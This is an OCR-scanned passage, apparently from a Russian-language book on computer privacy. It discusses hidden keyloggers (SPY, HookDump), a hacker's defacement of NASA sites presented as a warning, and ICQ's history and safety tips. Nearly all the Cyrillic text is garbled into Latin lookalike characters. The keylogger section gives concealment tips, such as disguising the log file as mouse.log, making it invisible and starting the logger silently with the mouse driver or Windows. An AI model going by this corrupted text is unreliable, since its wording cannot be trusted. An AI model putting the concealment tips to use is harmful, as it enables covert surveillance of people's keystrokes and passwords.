qasi U TapeIKK CheJCHHOTO MeYeHbs (HaBepHOe, Hao ObUIO yromaTh twix'om)
JSIbKa pa3Besl pyKaMU v, OTTO30PeHHBIN, yie BocBosich. [Tocie aTtoro s cre-
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JIaJl ellle HECKOJIbKO MOIIBITOK ITOHSITh, B YeM XK€, COOCTBEHHO, JeJI0, HO BCe
OHHM OKa3aJInChb 6e3pCSYJ'[bTaTHLIMI/I, TOTAJIBHBIY KOHTPOJIb TPOIOJIKAJICA.

4 yXe HaMBITMBAJI BEPEBKY, KaK IIYTAT B TTOMOOHBIX CIIyJasX aMepH-
KaHIIBI, KOTJa MpobJieMa pa3peliach Mo4TH cama coboii. Kyrus mo cirygyaro
HOBYIO MBIIIIKY, 51, KaK BOAUTCS, TIepeIucall ¢ puIaracMoi JUCKETHI apaii-
BEp — Mmouse.com WJIM YTO-TO B 3TOM POJe — M BIMCAJI €ro B autoexec.bat
BMECTO CTaporo MBIIIMHOTO apaiiBepa. Yepe3 HEKOTOpoe BpeMs ST CIydaitHo
3amISIHYJI B spylog.log U ¢ yauBJIeHEeM OOHApYKWJI, YTO 3alUCH TIPEepBaIUCh
B TOT JIeHb, KOT/IA 5T TOMEHSIT MBIIIKY.

ComnocTtaBuB (akThl, 51 MOHSI, UTO A€JI0, KOHEUHO, HE B CAMOI MBIILKE,
a B ApaiiBepe. Kak s y3Has1 BOC/IeACTBUM, HA MOEM KOMITbIOTEepe Obljla ycTa-
HOBJIEHa M 3amylieHa rmporpamma SPY, KoTopasi, BeposiTHO, 3amycKajuach OT
JipaiiBepa MBbIILIH.

Janee s1 Xouy pacckasaTb O TPeX MCIPOOOBAHHBIX MHOM JIMYHO IPO-
rpaMMax aToro kjiacca. HauaTb mo3BosibTe ¢ MHOTOCTpafaibHO (...Horo) SPY.

SPY

IIporpamma SPY (Security Log System), HanucanHas Ajekcom Jle-
MEHKOBBIM, TpeIHa3HaueHa [JIs 3alucyh B CIElUaJbHBI TEKCTOBBII
Log-daiin nagopmMaium o Bcex MPOU3BOAMMBIX HA KOMIIBIOTEPE IEMCTBUSIX C
aBTOMATMUYECKOM perncrpaiyeii 1aTbl 1 BpeMeHU. 3anrch MPOUCXOIUT He3a-
METHO JIJISI TI0JIb30BaTelsl, T.€. YeJOBeK, pabOTaloIINii Ha KOMITBIOTEPE, CKO-
pee Bcero, HUKOraa He Y3HAeT O TOM, UTO 3a €Tro JeCTBUSIMU MOXeT HabJIr0-
IIaTh ITOCTOpOHHMI. Bce ckazaHHOe HIKe OTHOCHUTCA K Bepcuu 4.4, HO, Cyds
110 TOKYMEHTAlLlMU, CIIPaBeIIMBO IS BCEX Bepcull, HaunHas ¢ 3.4 (pa3auya-
I0TCSI OHU, B OCHOBHOM, HECKOJIbKMMU MCIIPaBICHHBIMU OIITMOKAMM Y MEJIKH -
MU OIILIUSIMMU).

IMogo3peBato, YTO UCTIOPTUBILIAS MHE CTOJIbKO HEPBOB Mporpamma Obl-
Ja Bepcuu 3.4 wiu crapuie. Tak Kak rmepBble BEPCUU MPOrpaMMbl HalmMCaHbl
JIOCTaTOYHO JIaBHO (BO BCSKOM Clly4yae, camasl ctapasi Bepcusi, KOTOPYIO sl BU-
nen, — 1.3 — Obl1a JaTMpoBaHa B JoKyMeHTauuu 1992 rogom), paboraet oHa
nmog MS-DOS Bepcuu 4.0 u crapiine Ha J1000M KOMIBIOTEpe, HayMHast
C «IBOMKU».

SPY o6nagaeT HECKOJbKUMU MHTEPECHBIMU CBOMCTBAMU: MpOrpaMma
3arpykaeTcsl B maMsiTh KOMIIbIOTEpa IO TUITYy BUpyca, Mackupyetcs rog DOS
U He BuaHa TakuM niporpammam, Kak MEM, RELEASE u T.1. Kpowme 3arpys-
K1 M3 KOMaHIHOM CTpOoKM Wiu (paiina autoexec.bat, SPY moxer 3amyckarbest
U3 1000ro UCToIHsIeMoro daitia (.com uinu .exe). st Toro, 4To0bl peaynzo-
BaTh 3TOT METOJI, B COCTaB MakKeTa, Kpome coocTBeHHO SPY, Bxonut mporpam-
ma SPYEXE, 3anmycTuB KOTOpY10, Bbl aBTOMAaTUUECKM MPUTTUIIIETE K BBIOpaH-
HOMY UCITIOJTHsIeMoMY (haiiny KomaHy 3amycka SPY.
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Takum o6pa3om, 3actaBuB SPY 3amyckarbcsi, K NpUMEPY, BMECTE
C IpaiiBepOM MBIIIIM, Bbl HE OCTaBUTEe HUKAKUX CJIEAOB B autoexec'e. Temnepb,
€C/IM Bbl HalexHo crpsitaiu Log-daiin, B KOTOpbIii OyAyT BHIBOAUTHCS pe-
3yJbTaThl CIEXKU, U AAIM €My KaKoe-HUOyIb HENMPUMETHOE WMSs, Bpoje
mouse.log (MM caesaau ero HeBUAMMbIM), TO OOHAPYKUTh, YTO 32 BCEMU Ba-
IIMMU NERCTBUSIMU HAOJIIOAI0T, BPSIAL JIU cMoxXeTe. Pa3Be uTo, «posich» B CBO-
€M BHUHYECTepe, clyvyailHO «HabpelaeTe» Ha BeCbMa CTPaHHBIM TEKCTOBBII
(aitn — 1 Ha BCIO XKU3Hb 3apeyeTech MycKaTb MOCTOPOHHUX 3a KJIABUATYPY
CBOEro KOMIIblOTEpAa.

HookDump

HookDump, nanucannast Mnbeit OcumnoBsiM, caMasi Jiydiiiasi, Ha MO
B3IJIsI, MporpamMma 3Toro kiacca. OHa TipenHa3HadyeHa sl paboThl IO
Windows. [Iporpamma o61agaeT IIMpOKUM HAaO0poM (PYHKIIMI ¥ TUOKOM CH-
CTEMOI HACTPOMKMU.

Hureppeiic HookDump moctaTouHO NpOCT U MO3BOJISIET yKa3aTh, OT-
METHUB COOTBETCTBYIOIIME MYHKTHI MEHIO, HAXKaTHe KaKUX KJIaBUII PErUCTpH-
poBath (BO3MOXEH BBIOOp: OYKBEHHO-IU(POBbIC KJIABUIIN + KJIABUIIU YII-
paBJeHUs KypCOpPOM WJIM X€ pervMcTpaiusi BceX HaxaTuii, Bkitodas Caps
Lock, Shift, Tab, Bce ¢pyHKIMOHANIbHBIC KJIABUILIK U T.I1.), KaKylo UH(popma-
LIMI0 O pabOoTaIOIIMX MPOTrpaMMax 3allfOMUHATh (BO3MOXHA pernucTpanusi Bpe-
MEHM, aKTUBHBIX OKOH U T.I1.).

Kpome Tekcra, HabupaeMoro ¢ KiaBuatypsl, B Log-daiine 3anuceiBa-
eTcs Aaxe Takas MHdopmalusi, Kak cKpbIThlii maposb Dial-Up Networking,
KOTOpBIii BOOOIIIe He Habupascs. BoaMoxxHa Takxe perncTpalius HaKaTuili Ha
KHOTIKY MBIIIX (HETIOHSATHO, MpaB/ia, Kak e MOTOM ONpPeaeIuThb, B KAKUX Me-
CTaX ¥ Ha YTO «KJIMKAJIW» MBIIIBIO).

YT10Ob! YCTAHOBUTH MTPOTPAMMY, HYXKHO JIMIIIb LETUKOM CKOITMPOBATh
ee KaraJyior (pa3Mep Karajiora 4yTh 6osbine 50 kuiobaiiT) Ha BuH4ecTep. Jlist
aBToMaTndeckoro 3amycka HookDump goctaTogHO OTMETUTE B MEHIO Startup
ctpouky AutoStartUp (T.e. HeT HEOOXOIMMOCTH BKJIIOYATh IIPOTpaMMy B IaIl-
Ky ABro3arpy3ka). Ilocie aToro mporpamma OyaeT aBTOMATHMYECKU 3amlyc-
KaTbcs BMecTe ¢ Windows, HMKaK He IIPOSIBJISIS IIPU 9TOM CBOErO IIPUCYT-
ctBusi. KoHeuHBI TEKCTOBBIN (haiis ¢ pacimperHreM .hk MoXeT HaXOAUTHCS B
JII000M KaTtajiore Ha Ball BeIOOp. 1151 3TOro HyXHO yKa3aTh B (paite hook-
dump.ini XenxaeMblil KaTajJor U uMs ¢aiiaa, KOTopble OyAyT CO3HaHBI IIPO-
rpammoii. Kpome Toro, ecth 10BOJILHO MpuianyHbii Help, mpaBoa, TOJBKO Ha
anrmuiickom. I1porpamma HookDump ocTtaBisieT caMoe IIpUsITHOE BITeYaTiie-
HUE, HE MOTY CKa3aTh, UTO s B LIIEHSIYbeM BOCTOPre, HO Bce Xe... OHa rpocTa
B YCTAaHOBKE (11 3TOrO XBaTaeT ¥ MOJIMUHYTHI), IMEET MacCy HaCTPoeK, a 0y-
JIy4¥ 3aMyILIEHHOM, OCTAeTCs COBEPLICHHO HE3aMETHOM.
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KoHe4HO, CITUCOK «KJIaBUATYPHBIX IIITUOHOB» HE OTPAaHMYNBACTCSI OITH -
caHHbIMU 31ech nporpamMmMmamu, cyiectByeT eile SECRET AGENT Asnekcest
YepHeHKo (mporpaMMa paboTaeT Ha 11000M «TocTepe» ¢ 8086 mpoiieccopom) u
MHOTHE IPYTHe, PACCKa3bIBaTh O KOTOPBIX MOXKHO JOCTaTOYHO I0JT0. B 3aKimo-
YeHMEe X04y CKa3aTh, YTO IIeJIbI0 3TOM IJTaBbl OBLIO PACCMOTPEHME €Ille OHOTO
acrieKkTa privacy, 0 KOTOpOM He TI0I03peBaeT OOJIBITUHCTBO MOJIb30BaTEIeH.

Y3HaTh O TOM, YTO BBHI [IeJIaeTe HAa CBOEM KOMITHIOTEPE, MOXHO Jaxke
B TOM CJIy4ae, eCJIM Bbl U psiioM ¢ Internet’'om He cTosiin. A pacckasa O TOM,
KaK MOXHO 3aI0JIyIUTh YyKYI0 MH(GOPMAIIUIO, S JTUIIIb ISl TOTO, YTOOBI YMTa-
TeJTb 3HAJT, KAKUM 00pa30M «He Hallli» MOTYT Y3HATh YTO-TO O HeM. 11 Toro,
YTOOBI yOepeUbCs OT MOMOOHBIX IIMTUOHCKUX 3aKJIAI0K, HY>KHO COOJIOIaTh 6a-
HaJIbHBIE TTPaBUJIa, U3BECTHBIE BCEM: CJICIUTD 3a TEM, YTOOBI BAaIllMM KOMITBIO-
TEPOM He TTOJIb30BAIUCH B Ballle OTCYTCTBUE, M «M30€TaTh CITyYallHBIX CBSI3EIi».

AaBa 7.
BAaropoaHbin xakep

BriTyeT MHEHUe, YTO XaKephbl — 3JI00HbIE 1 OECIIOIIaAHbIE XYIUTaHbI.
Takoe MHeHME, KaK TIpaBWIO, MOATBEPXKAAeTCs (paKTaMU JAeP3KUX B3JIIOMOB.
OnHaKo B KaxJIOM MpaBUJIe €CTb CBOE UCKITIOUEHUE.

ITo coobmenuio nadopmanmonHoro cepepa Wired.com, Web-cepse-
pBI TPEX KITIOYEBBIX TocymapcTBeHHBIX AcermaprameHToB CIIIA, BKIIouast caiit
NASA, 6bUtH B3710MaHBI HEM3BECTHRIM XakepoM. Ha mx rraBHBIX cTpaHUYKax
MOSIBUJIOCH M300pakeHNe YeJJ0BeKa B KAIIOIIIOHE C OKepeIbeM, CUMBOIN3U-
PYIOLIMM 100pPO, U ITOCTaHUEM, TIPEAYIIPEXKAAIOIIAM 00 YSI3BUMOCTH 3aLLUTHI.
«$l ToBOpIO 3TO BaM — MpPaBUTEILCTBY U BoeHHBIM cTpykTypam CIHA. S npe-
nIympeskaalo Bac 00 onmacHocTtu. IToxaiyiicta, IpUMUATE MEPHI JIJIs 3aIUTHI OT
KnbepaTak». IMEHHO 3TH CJIoBa KpacoOBaJIMCh Ha caliTax Iocjie B3JIoMa, KOTO-
PBIii OBIT COBEpIIIEH, OKAa3bIBACTCsI, 0JIarOPOAHBIM UYEJIOBEKOM 1 ITATPHUOTOM.

Xakep, npeacraBuBimiica 17-netHuM ctygeHToMm u3 Koopano, 3a-
SIBUJI, YTO aOCOJIIOTHO JIMIIEH 3JIbIX MOMBIC/IOB. [lo ero cioBam, Tak MHOTO
JIIOJIeil CO BCETO MUpPA TopsAT KeJJaHUEeM B3JIOMATh 3alIUTY KITIOUYEBBIX aMEpH-
KaHCKHX CEpBEPOB, YTO €ro TPaXIaHCKUM IOJTOM OBUIO IMPEAyNpeauTh UX
BlamebleB 00 ornmacHocTd. CaMoe MHTEpPEeCHOe, UYTO MPEeoAoJIeHUE 3allMThI
OBLJIO TTPOU3BEACHO PACTIPOCTPAHEHHBIM MIPUEMOM, KOTOPBII JII0OOH CHCTEM-
HBIN aIMUHUACTPATOP 00513aH 3HATh U TIPUHSTH COOTBETCTBYIOIIME Mepbl. bo-
Jiee TOTO, XaKep TNMPU3HAJICSI B CBOEM IIOCIAHWMU, YTO yXKe IMpemynpexaan o
«IIbIpax» B 3alIUTe, HO ObLT TPOUTHOPUPOBaAH. B3joMaTh cepBepbl caMoMy —
€IMHCTBEHHOE, YTO €My OCTaBaJOCh, YTOOBI OOpAaTUTh, HAKOHEIl, BHUMaHUE
Ha 11po0yieMy 6€30I1aCHOCTH.
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N 370 eMy ymasoch: Ha CJSIYIONIViA TeHb ITOC]ie COBEPIICHMS B3JIOMa
obUIIMATBHBIN ITpeacTaBuTelb NASA He 3aMeIUTHIT BBICTYITUTD C 3asIBJICHUEM,
B KOTOPOM T'OBOPHJI O HEOOXOAMMOCTH TIPUHSITUSI CPOYHBIX Mep IT0 obecriede-
HHIO Ge30MacCHOCTH KITIOUEBBIX CepBepOB aMepukaHckoro Internet'a. Boiee
TOrO, OH 3asIBWJI, YTO HE HaMEPEH TepIleTh Kakve Obl TO HU OBUIO B3JIOMBI,
MyCTh 1aXKe Y COBEPIICHHBIC U3 61arOPOIHBIX MOOYKICHMIA.

XOTs1 Xakep 1 He COOOIIMIT CBOE MMS, Ha B3JIOMaHHbIE CAlThI OH TTIOMe-
CTUJI CCBIJIKY Ha CBOIO JOMAIIHIOK CTpaHWUKY. «fI — marpuor. Mou uuneasnbl
COBMANAIOT € IEMOKpaTuueckumMu nnaeanamu rpasutenbctBa CILIA. 4 Bepio B
MUP U TapMOHUIO». TaKMMU CII0BaMHU 3aBEPILATOCH YAUBUTEIBHOE MOCIaHUE
0JIarOpOJHOTO XaKepa.

fAnaBa 8.
«30» N «MPOTUB» MONYASPHON NPOrPAMMBbI
«|CQ»

Tak Ha3biBaeMasi «ACbKa» — 3TO MOMNYJIsIpHEeIIas mporpaMmMa OHJIam-
HoBoro obuieHust ICQ, cBoero pona Internet-neiimxep. O Heil MOXHO CJIbI-
1IaTh pa3/IMuHbIe, 1aXe MOJsIpHble MHeHUs. Ee Ha3bIBalOT peBOIIOLIMOHHOM,
KyJbTOBOI MpOrpaMMoOii U «3adHEeil ABEpbIO B Balll KOMIIbIOTEP», «OeCIlIaT-
HBIM CBIPOM», BEAYILIMM MPSIMO B MbIIIEJOBKY. O Hell paccKa3bIBalOT aHEKI0-
Thl. [TonmpobyeM pa3zoOpaThecs B 9TOM (peHOMEHE, OH KaK MMHUMYM 3aCTy>KU-
BaeT BHUMAHUS — Beb JECATKU MWLUIMOHOB MOJib30BatTesell (M3 HUX OKOJIO
MUJUTMOHA PYCCKOSI3BIYHBIX) — 3TO CEPHE3HO.

Bce nHavamoch B HostOpe 1996 roma, Korma u3pauiabckas dupma
Mirabilis (HacuMTBHIBaBIIAsl TOT/IA YETHIPE MECSIIIA OT POAY) BBIITYCTHJIA HOBYIO
MporpaMmy JUIsl CETEBOTO OOIIEHMSI, KOTOpasl MoJIyYnia Ha3BaHUE 13 TpeX Jia-
tuHCKUX OykB — [ICQ. IIpu cnuTHOM NpOM3HOILIIEHUMN OHU 3ByYaT Kak (pasza
«I seek you» — a1 my Teos.

Ve B mepBble MOJIroJa CyIIeCTBOBaHMSI OHA MOCTaBUJIa aOCOTIOTHBIN
pexopa: 100 ThICSIY OHJIAMHOBBIX I10JIb30BaTeleil OMHOBpeMeHHO. [1o3xe ObI-
s B3sTHI pyoexu 200 u 500 Toicsu. B koH1ie 1999 roga 66110 00bSIBIEHO O TI0-
sgBieHun 50-MuwummoHHoro mojb3oBareisa. [CQ moaydmia IecsTKHM IIPU30B,
BeAyIIMe XYpHaJIbl Ha3bIBAIOT €€ CPeIn JIydInX mpoaykToB. [TosiBUIMCH Bep-
CHUM JIJI1 MHOTMX TIJIaTOPM U OMepallMOHHBIX cUcTeM. 97-1 roj poliest Mo
3HaKOM MAacCcoOBO# «Mupabunusauum» Internet'a, a jeroM 98-ro dupma crana
COOCTBEHHOCTBIO KPYITHEHIIIEro aMepukaHckoro rnpoBaiigepa AOL, America
Online (cyMMa celku cocTaBwiIa 287 MUUIMOHOB I0JIapoB, U ete 120 Mu-
JIMOHOB OynmyT BhIILIadeHBbl mo3aHee). [Ipu aTom Mirabilis coxpaHuia Bech
CBOW 1LITaT U MECTO MOCTOSIHHOM Auciokauuu — Teib-ABUB.
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Ho mno3BosbTe, ckaxeTe BbI, K 96-My rony B Internet'e 6bUTO BITOJIHE
JIOCTATOYHO CPEICTB CBSI3M — W YaTbl, U TOCKU OOBSIBICHUMA, ¥, KOHEYHO,
3JICKTpOHHAsT moyTta. YeM Xe BhI3BaHa GecrpelieieHTHas ITOMYJIIPHOCTh HO-
BOIl mporpaMMbl? [TpMHIMTIMAIBHBIM HOBIIECTBOM CTajl PEaTbHBIA PEXUM
00IIeHUST cobeceMHUKOB. I1py 3TOM [UT Havala Juajiora He Hy>KHO 3HaTh HU-
KaKWX apecoB U BCTPEYM, JOCTATOYHO BKIIIOUWTH KOMITBIOTED W BOMTH B
Certb. ICQ cTapTyeT aBTOMaTHYECKU U ITO3BOJISIET MOMEHTAIBHO CBSI3AaThCS C
napTHepoM. KoHeuHo, Hanbostee cofepKaTebHBIM Ballle OOIIeHHe OYIeT, ec-
JIK Bce COOECeMHNKY, KaK U BbI, CUMIST Mepe SKpaHaMHU, U, pa3yMeeTcsT, Y HUX
TakXe yCTaHOBJIeHa 3Ta nmporpamMMa. O KaXxjaoM HOBOM 3HAKOMOM, KOTOPBIi
ronkmoumics K Internet'y, ICQ u3BecTHT Bac B pealbHOM BPeMEHH, U Bce,
YTO HYXXHO JJIsT Hadaia 6ecellbl, — 3TO IIETYOK MBIIIKOM IT0 HKOHKE.

C nomopio ICQ MOXHO He TOJIBKO OeceqoBaTh C APY3bIMU, HO U yJa-
CTBOBaTh B KOH(MEPEHIIUSIX, TTOChLIATH 1 MOJyYaTh COOOIIEHUS U (hailyibl, UT-
paTh B KOJUIEKTUBHBIE UTPBI. ECTh U Ipyrue MpusiTHble (OYHKITUU ST APYKe-
CKOTO OOIICHUSI — «CTPaHUIIBI APYXKOBbI», «rajepes MPUBETCTBUI», LIEHTP
«/lenp poxnenusi». [lporpamma mnoiepXuBaeT MHOXECTBO TOIMYJISIPHBIX
Internet-npunoxenuii u cinyx06. OHa 3aHMMaeT MUHUMYM CETEBBIX PECYpPCOB
U TIaMSITU KOMITbIOTEpA U BBITIOJIHSIETCS B (POHOBOM peXuMe. DTO O3HAYaeT,
YTO Bbl MOXETE 3aHUMAThCsI CBOUMU OOBIYHBIMU Aesiamu, a [CQ, Kak xopo-
LW ceKpeTapb WIM aBTOOTBETYMK, TIPUMET W 3alUILIeT BXOMASIIME cOOoO0IIe-
HUsI, He OTPbIBasl Bac OT paboThl. Bl MOXeTe Takke BBIOpaTh Hanbosiee moji-
XOISIIMNN PEXKUM pabOTHI:

* Kenato mo6oaTaTh;

Otayuucs;

3aHAT (TOJIBKO CPOYHBIC COOOIICHUS);
He 6ecriokours;

HeBunumka (TOIBKO AJIsI CBOMX);

* ¢ & o o

BrikioueH.

CornacHo cratuctuke, okoio 40% monb3oBareneit ICQ mpoxuBaoT
B CIIA, emre 40% — B EBpomne. ITo onierke AOL, kimentsr ICQ B cpenHeM
WICITOJIB3YIOT MPOTPAMMY 110 75 MUHYT B IeHb (CpaBHUTE, ISl TOMCKOBBIX Ma-
MH 1 Internet-pyopruKaTopoB 3TOT ITOKA3aTeIb COCTaBIIsieT MeHee 10 MUHYT
B JieHb). Ellle 0HO CBUIETENLCTBO MOMYJSIPHOCTU MPOrpaMMBbl: CTAJIO Mpe-
CTVDKHBIM MMETh 6-3Ha4HBbIE, TO €CTh CpaBHUTEIbHO paHHHe Homepa UIN,
CBUIETEJILCTBYIOIIVE O COJIMIHOM TOJTh30BaTEIbCKOM cTaxe. Ha mockax o0b-
SIBJICHUI TIOSIBMUTMCH TIPEIUTOXEHUsI 06 0OMeHe, HoMepa M3 IIEPBOTO ITOJTy-
MIJUTUOHA CTaJIU BHITOIHBIM TOBAPOM.
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Ka3zanoch Obl, HATUIIO BCe YCAOBUS 151 JATbHENIIETO «TpUyMbaibHO-
'O LIECTBUST» «AChKH» MO CBETY: €CTb 50 MUJUIMOHOB MOJIb30BaTe/Ieii — CTaHET
500, a 75 MUHYT cpelHeil exXelTHEBHOM 3arpy3ku MpeBpaTITCcsl B HECKOJIbKO
yacoB! Ho koraa siidopusi o KoHDepeHLMI ¢ IByMsI JeCsITKaMu OJHOBpe-
MEHHBIX COOECETHUKOB MTPOXOINT, BaC HAUMHAET pa3ipaxarhb JJABUHA MPEPbI-
BaHU, TpeOYIOIIUX HEMENJICHHOI peaKIMy U OTBJIeKaloIuX ot Aea. [TosiBu-
JIUCh TPYCTHBIE MEMYaphl «yTOMJIEHHBIX ACbKOI1»: BOT Thl YXe u IP cripsitan,
MYJIbTU-PACCBUIKM 3a0J0KUpPOBal, B CTaTyce MO YMOJYAHMIO BbICTABUJ
Invisible, mpukpeLIcs: 00bsIBICHUEM «$ 3aHSAT (3aHsITa)», a BBI3OBHI BCE UAYT U
WUAYT, a Ha TPOChObl HEe OECMOKOUTH JaJieKO He Bce obOpallaloT BHUMaHUE.
M Torpa 6emHbIi 103€p 3aBOAUT CeO€ HOBBIM HOMEP M COOOIIAET €ro 1o 001b-
IIUM CEKPETOM U TOJbKO U3OPAHHBIM IPY3bsIM.

Ho e1ie 6osibliiie, yeM Ha30MIMBbIE TIPU3BIBBI HEMEJICHHO MO00IIATh-
CsI, MHOTHX OECITOKOSIT BOITPOCHI, CBSI3aHHEIE ¢ 6e30macHOCThI0. C ITOMOIIBIO
IIEJIOTO CITUCKA aTaKyoNIUX MPOrpaMM, CBOOOTHO MOCTYMHBIX B CeTH, BaM
MOTYT CMEHHTb MTapOJTh, TIOCTATh COOCTBEHHOE COOOIIIEHHE OT BAIlIeTO UMEHHU,
«3aBaJIUTh» Balll «ITOYTOBBIN STITUK», 3a01B €T0 IaKeTOM COOOIIeHUI, OTIpe/ie-
Juthb [P-HOMep Balrero KoMmbiorepa. [103TOMY He JIMIITHUMU OYIYT HECKOJIb-
KO TIPOCTBIX COBETOB M TPABWJI U3 CIIHCKA, MTPEUTOKEHHOTO OTHUM Oestopyc-
CKUM aBTOPOM:

* He paznaBaiite Baml UIN HampaBo 1 HajieBO — Bellb
U TesJe()OHHBIA HOMEDP BBl HE COOO0IIIaeTe KOMY I10I1aJIo;
* BO3/epKUTECH OT UcTob30BaHUs ICQ Ha pabovMX CTAaHLIMSIX,
BXOJISIIIIUX B JIOKAJTbHYIO CETh;
* He MOJ/IePKMUBANTE PACCHIIKY MACCOBBIX COODILIEHUIA 110 CETH;
* MPU PETUCTPALIMU HE YKa3bIBATe JUIIHUX NOAPOOHOCTEN

0 cebe 1 MECTOHAXOXICHUH KOMIIBIOTEPA,

* He TIyTaiTe «AChKy» M 9aT — T.€. He JIEPKUTE e¢ TIOCTOSTHHO
paboTalomieii: 3To Xe MeimKkep, a He «yOKN-TOKW», ¥ BKJITIOYaTh
€T0 JIy4Ille C HETTEPUOANYHOM PETYISIPHOCTHIO TSI
npuema/mepenady CooOIeHNI;

* HaJ0JITO MOKKIask KOMITbIoTep, BhikIouaiiTe u ICQ, madnl He
BBEPraTh «COCEMEH IT0 CTAHKY» B COOJIa3H pa3bIrpaTh KOrO-TO
OT Balllero UMEHU.

HamoMHuM, Kctatu, 4To pa3paboTyuk «AcbKu» — Mirabilis — HMKOTr-
Jla He pPEeKOMEH/I0BaJl ee UCIOJIb30BaHUE ISl KPUTUUECKU BaXKHbIX WU KOH-
(buneHmanbHBIX KOMMyHUKaLuii. («ICQ — 3T0 He GaHKOBCKasl CUCTEMA», —
ckazai kak-To Yossi Vardi, onuH u3 pykoBoauTesieit Mirabilis). McrionbayiiTe
«ACbKy» TI0 Ha3HAYeHUI0 U He BOCIPUHUMANTE 3TO «4yn0» (MMEHHO TaKOB
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JIOCJIOBHBII TepeBof cjioBa Mirabilis, B yeM Jierko yoeauThess ¢ TTOMOIIBIO
CJI0Bapsl) CAUIIKOM CePbE3HO.

A MEXIy TeM KOJUIECTBO POCCUNCKUX iC-CalTOB TaBHO CTAJIO TPEX-
3HaYHBIM. Cpeil HUX €CTh U IOBOJIBHO HEOOBIYHBIE — TaK, CYIIECTBYET XpHC-
THaHCKU# caitT «Jesus Inside», rae mpoBoaAWTCS Mapayljie/ib MEXIY Ha3BaHUEM
«$1 nity Tebs1» 1 mouckaMu Bepsl. [lose3Hyto Belb npetoxun Ainekceit He-
denoB u3 [lerepbypra. Tereps MOXHO IO OOBIIHOMY TeJiIe(hOHY IIepeIaBaTh
COOOIIEHUS JaXe TeM, KTO MogoaTy cuauT B CeTH U, eCTeCTBEHHO, 3aHUMaeT
Tene(OHHYIO JTUHUIO.

Cepaep ICQ-me urpaet poJib IEeUIKMHIOBON CIIYKObI, U IepeIaHHOe
BaMU Ha CIelMabHbIii HOMEpP COO0IleHWE C TOMOUIBIO OIepaTopa MonajaeT
Ha HYXXHBII 9KpaH. [Toxoxkas ciyx0a aIeiiCTBYeT I10 agpecy www.icqphone.ru.
Ha MHorux caiitax «XuByT» M0JI€3HbIE TPOTPAMMBbI, IOTOJHSIOIINE U PACILIU-
psiiolne «ACbKMHBI» BO3MOXHOCTU. Tak, mporpamma 1CQ gateway for word
97 nomMoraet 60pOThCs ¢ 6E3rpaMOTHBIMU COOOILIEHUSIMU. DTO pacUIMpeHUe
JIaeT BOBMOXHOCTh OTIPABJISATh BhiaeJeHHbI TeKeT 1o ICQ npsimo u3 Word'a
C yXe nmpoBepeHHoU opdorpadueil. ECTb u o01IMpHbIE CIUCKY T0JIb30BaTe-
JIeil — cpeld HUX «TOPOJIOK», [JI€ JIETKO OThICKATh HOBBIX APY3€ii B OIpeesieH-
HOM ropojie. A ecjiv Bac NepecTaio yA0BIETBOPSITh 3a04HOE OOIIEHUE C TOMO-
1O TEKCTOB W Bbl XOTUTE B3MJISIHYThb Ha COOECeNHMKA, K BalIUM YyCIyram
dotoranepeu nonwvzopareneit [CQ — Hanpumep, «YBUAUM Ipyr npyra». ['oBo-
pSIT, TaKOE pa3BUTHE OHJIAMHOBOI APYy>KOBI MOPOil BeleT K Oojiee cepbe3HbIM
OTHOLIEHUSIM, U YXe €CThb MPUMEPHI Mepee3na K JIoOUMOMY YeIOBEKY U3
MockBbl Ha Ypal.

«AcbKa» TaBHO yxXe He oauHoka. [Toa BrevyaT/ieHueM ee yCreXoB psil
(YpM NPUCTYITUIT K BBITYCKY MPOrpaMM-KOMMYHUKATOPOB C aHAJOTUYHBIMU
WX JaXe YCOBEPIIEHCTBOBAHHBIMU (DYHKITSIMU.

HMHTeHCUBHOE pa3BUTHE «AChKU» U APYTUX IIPOTPaAMM IIPSIMOTO 001IIe-
HUsI TIpoJoiKaeTcs. B kakoit Mepe BceM 3TUM GOraTCTBOM IOJIb30BATLCS U
IOJIL30BAaThCSI JIX BOOOIIE, MyCTh KAaXAblil peliaeT caMm. M, HageeMcs, XKeH-
CKas 4acTh Halleil aymIUTOpuKM He OyIeT MOoA03peBaTh JIIOOMMOIO B MU3MEHE
JIMIIb TIOTOMY, YTO KTO-TO CIIPOCUT HOMEP €ro «AchKi» — Hy He HaTamiku xe,
B KOHIIE€ KOHIIOB!

fAaBQ 9.
KomnbloTepHble aTaKu: cTpaterns 060pOHbI

Peub noiiner o TpeX OCHOBHBIX BUJIAX CETEBBIX arpeCcCUil, BOSMOXKHBIX
npu pabote ¢ ICQ, 3/1eKTPOHHOI IMOYTO U, COOCTBEHHO, IPU MOAKIIOYCHUN
K Internet.
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Toproeas UIN kak Bua 6usHeca

B nocnennue roawl Internet-nelimkep ICQ He mepecTtaeT yAMBISTH
MoJib30BaTeseli CBOMMU BEJIMKOJIEITHBIMU KOMMYHUKAIIMOHHBIMUA BO3MOXHO-
ctsiMu. OHaKO PajocTh OT OOIIEHUSI MOXET ObITh OMpauyeHa HEKOTOPBIMU
npobsiemamMy 0€30MaCHOCTH, OOJIBIIMHCTBO U3 KOTOPBIX YIAacTCs M30eXaTh,
co0JTI0/1as1 AJIeMEHTapHbIe TIPpaBWIa NMPYU UHCTAJUISIIMUA MPOrpaMMbl Ha CBOIA
KOMTIIBIOTED.

Kak wm3BecTHO, yHUKaibHble uaeHTU(huKaimoHHbie HoMmepa (UIN,
Unique Identification Number) ICQ pacnipenesitoTcst mo TpocToMy XpOHOJIO-
TMYECKOMY TIPUHIIUIY: KTO MO3Xe MOAKIIIOUMIICS, Y TOTO U HOMep OoJblIlie.
Yucno BiazenblieB MOMYJISIPHOTO CETEBOTO TeEWIKepa, HbIHE COMPOBOXKIae-
Moro koMnaHueit America Online, eXXeTHEBHO YBEJIMUMBAETCS, TOITOMY ObI-
TyeT MHeHue, 4To HoMmep [CQ cBUIETETbCTBYET 00 OIBITE PaObOTHI TTOJIH30Ba-
Tens B CeTu M ero KOMIIETEHTHOCTM B Bormpocax Internet-TexHoOTHA.
Hamnpumep, mectrsHauyHbIii HOMEP TOBOPUT O TOM, UTO BJIafieJiel] CETO COKPO-
BUIIIA — MTPOhECCUOHAN CO CTaXXeM, HECOMHEHHO 3aCTy>KUBAIOIIUI JOBEPUSI
y Bcex octanbHbIX. Hy, a ecim HoMep BOCbMU3HAYHBIN U TPYAHO 3alIOMUHAE-
MBI, TO HaBepHsIKa ero objanaresb MoAKIounics K Internet coBepiiieHHO
HEJlaBHO, a 3HAUUT, SIBJISIETCS HEO(PUTOM B CETEBOM COOOIIIECTRE.

Bricka3biBaHUs 00Jiee YEM CITOPHBIE, UTO, BIIPOYEM, HE MEIIAET MOSIB-
